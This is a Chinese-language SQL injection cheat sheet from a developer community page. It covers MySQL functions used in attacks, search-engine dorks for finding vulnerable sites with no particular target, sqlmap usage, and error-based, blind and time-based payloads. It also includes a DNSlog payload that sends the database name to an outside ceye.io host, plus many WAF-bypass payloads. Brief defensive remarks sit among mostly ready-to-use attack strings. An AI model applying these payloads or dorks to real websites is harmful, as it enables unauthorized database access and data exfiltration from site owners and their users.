sql注入常用函数

本文涉及的产品
RDS MySQL DuckDB 分析主实例,集群系列 4核8GB
RDS AI 助手,专业版
简介: sql注入常用函数

一、MySql注入常用函数


1、system_user()系统用户名


2、user()用户名


3、current_user()当前用户名


4、session_user()链接数据库的用户名


5、database()数据库名


6、version()数据库版本


7、@@datadir数据库路径


8、@@basedir数据库安装路径


9、@@version_conpile_os操作系统


10、count()返回执行结果数量


11、concat()没有分隔符的链接字符串


12、concat_ws()含有分隔符的连接字符串


13、group_concat()连接一个组的所有字符串,并以逗号分隔每一条数据


14、load_file()读取本地文件


15、into outfile 写文件


16、ascii()字符串的ASCII代码值


17ord()返回字符串第一个字符的ASCII值


18mid()返回一个字符串的一部分


19substr()返回一个字符串的一部分


20、length()返回字符串的长度


21、left()返回字符串最左面几个字符


22、floor()返回小于或等于x的最大整数


23、rand()返回0和1之间的一个随机数


24、extractvalue()


第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc


第二个参数:XPath_string(Xpath格式的字符串)


作用:从目标XML中返回包含所查询值的字符串


25、updatexml()


第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc


第二个参数:Xpath_string(Xpath格式的字符串)


第三个参数:new_value,String格式,替换查找到的符合条件的数据target.com


作用:改变文档中符合条件的节点的值


26、sleep()让此语句运行N秒钟


27、if() SELECT IF(1>2,2,3) ; -->3


28、char()返回整数ASCII代码字符组成的字符串


29、strcmp()比较字符串内容


30、ifnull() 假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2


31exp()返回e的x次方



二、目标搜集


1、无特定目标:inurl:.php?id=


2、有特定目标:inurl:php?id= site:


3、工具爬取:spider,对搜索引擎和目标网站的链接进行爬取



三、注入识别


1、手工简单识别:


'


and 1=1/and 1=2


and '1'='1/and '1'='2


and 1like 1/and 1like 2


2、工具识别:


sqlmap -m filename(filename中保存检测目标)


sqlmap --crawl(sqlmap对目标网站进行爬取,然后一次进行测试)


3、高级识别


扩展识别广度和深度:


SqlMap --level 增加测试级别,对header中相关参数也进行测试


sqlmap -r filename(filename中为网站请求数据)


利用工具识别提高效率


BurpSuite+Sqlmap


BurpSuite拦截所有浏览器访问提交的数据


BurpSuite扩展插件,直接调用SqlMap进行测试一些Tips


可以在参数后键入"*"来确定想要测试的参数


可能出现的点:新闻、登录、搜索、留言


站在开发的角度去寻找



四、报错注入方法


1、floor() :select count(*) from information_schema.tables group by concat((select


2、version()),floor(rand(0)*2));https://github.com/ADOOO/Dnslogsqlinj


3、group by会对rand()函数进行操作时产生错误


4、concat:连接字符串功能


5、floor:取float的整数值


6、rand:取0~1之间随机浮点值


7、group by:根据一个或多个列对结果集进行分组并有排序功能


8、extractvalue():extractvalue(1,concat(0x7e,(select user()),0x7e));


9、updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e),1);



五、布尔盲注


1、left()函数


left(database(),1)>'s'


database()显示数据库名称,leȨ(a,b)从左侧截取a的前b位


2、regexp


select user() regexp'^r'


正则表达式的用法user()结果为root,regexp为匹配root的正则表达式


3、like


select user() like'^ro%'


与regexp类似,使用like进行匹配


4、substr()函数 ascii()函数


substr()函数 ascii(substr((select database()),1,1))<>98


substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值


5、ord()函数 mid()函数


ord(mid((select user()),1,1))=114


mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值



六、时间盲注


if(left(user(),1)='a',0,sleep(3));



七、DNSlog注入


SELECT LOAD_FILE(CONCAT('\\\\',select database(),'.mysql.r4ourp.ceye.io\\abc'));



八、宽字节注入


1、在注入点后键入%df,然后按照正常的诸如流程开始注入


2、黑盒测试:


在可能的注入点后键入%df,之后进行注入测试


3、白盒测试:


查看MySql编码是否为GBK


是否使用preg_replace把单引号替换成\'


是否使用addslashes进行转义


是否使用mysql_real_escape_string进行转义


4、防止宽字节注入


使用utf-8,避免宽字节注入


ps:不仅在gbk,韩文、日文等等都是宽字节,都很有可能存在宽字节注入漏洞


mysql_real_escape_string,mysql_set_charset('gbk',$conn);


设置参数,character_set_client=binary



九、二次编码


1、在注入点后键入%2527,然后按照正常的注入流程开始注入


2、黑盒测试:


在可能的注入点后键入%2527,之后进行注入测试


3、白盒测试


是否使用urldecode函数


urldecode函数是否存在转义方法之后



十、二次注入


1、插入恶意数据


第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,再写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。


2、引用恶意数据


在将数据存入到数据库之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了而已数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。


3、二次注入防御:


对外部提交的数据,需要更加谨慎的对待。


程序内部的数据调用,也要严格的进行检查,一旦不小心,测试者就能将特定了SQL语句带入到查询当中。



十一、WAF绕过


熟练掌握MySQL函数和语法使用方法+深入了解中间件运行处理机制+了解WAF防护原理及方法=随心所欲的绕过WAF的保护


1、白盒绕过


使用了blacklist函数过滤了'or'和'AND'


大小写变形:Or,OR,oR


等价替换:and->&&,or->||


2、黑盒绕过


寻找源站->针对云WAF


利用同网段->绕过WAF防护区域


利用边界漏洞->绕过WAF防护区域


资源限制角度绕过WAF


POST大BODY


请求方式变换GET->POST


Content-Type变换:application/x-www-form-urlencoded;->multipart/form-data;


参数污染


SQL注释符绕过


Level-1:union/**/select


Level-2:union/*aaaa%01bbs*/select


Level-3:union/*aaaaaaaaaaaaaaaaaaaaaaa*/select


内联注释:/*!xxx*/


空白符绕过


MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/


正则的空白符:%09,%0A,%0B,%0D,%20


Example-1:union%250Cselect


Example-2:union%25A0select


concat%2520(


concat/**/(


concat%250c(http://127.0.0.1/Less/?id=1


concat%25a0(


浮点数词法解析


select * from users where id=8E0union select 1,2,3


select * from users where id=8.0union select 1,2,3


select * from users where id=\Nunion select 1,2,3


extractvalue(1.concat(0x5c,md5(3)));


updatexml(1,concat(0x5d,md5(3))),1);


GeometryCollection((select*from(select@@version)f)x))


polygon((select*from(select name_const(version(),1))x))


linestring()


multipoint()


multilinestring()


multipolygon()


MySQL特殊语法


select{x table_name}from{x information_schema.tables};


3、Fuzz绕过


注释符绕过


最基本的:union/**/select


中间引入特殊字:union/*aaa%0abbs*/select


最后测试注释长度:union/*aaaaaaaaaaaaaaa*/select


最基本的模式:union/*something*/select


a1%!%2f



十二、sqlmap的conf


sqlmap.py -v3(主函数入口)


--user-agent=websecurity(请求扩充)


--threads=5(访问优化)


-p id注入配置


--level 3(检测配置)


--technique=E(注入技术)


--current-user(信息获取)


--flush-session(通用设置)


--beep(杂项)幕布 - 极简大纲笔记 | 一键生成思维导图


禁止非法,后果自负


相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
目录
相关文章
|
6月前
|
SQL 人工智能 数据挖掘
如何在`score`表中正确使用`COUNT`和`AVG`函数?SQL聚合函数COUNT与AVG使用指南
本文三桥君通过score表实例解析SQL聚合函数COUNT和AVG的常见用法。详解COUNT(studentNo)、COUNT(score)、COUNT()的区别,以及AVG函数对数值/字符型字段的不同处理,特别指出AVG()是无效语法。实战部分提供6个典型查询案例及结果,包含创建表、插入数据的完整SQL代码。产品专家三桥君强调正确理解函数特性(如空值处理、字段类型限制)对数据分析的重要性,帮助开发者避免常见误区,提升查询效率。
375 0
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
576 2
|
SQL Oracle 关系型数据库
SQL优化-使用联合索引和函数索引
在一次例行巡检中,发现一条使用 `to_char` 函数将日期转换为字符串的 SQL 语句 CPU 利用率很高。为了优化该语句,首先分析了 where 条件中各列的选择性,并创建了不同类型的索引,包括普通索引、函数索引和虚拟列索引。通过对比不同索引的执行计划,最终确定了使用复合索引(包含函数表达式)能够显著降低查询成本,提高执行效率。
267 3
|
SQL 数据库 数据库管理
数据库SQL函数应用技巧与方法
在数据库管理中,SQL函数是处理和分析数据的强大工具
|
SQL 数据库 索引
SQL中COUNT函数结合条件使用的技巧与方法
在SQL查询中,COUNT函数是一个非常常用的聚合函数,用于计算表中满足特定条件的记录数
2582 5
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
388 5
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
377 5
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
286 3
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
320 6
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
313 1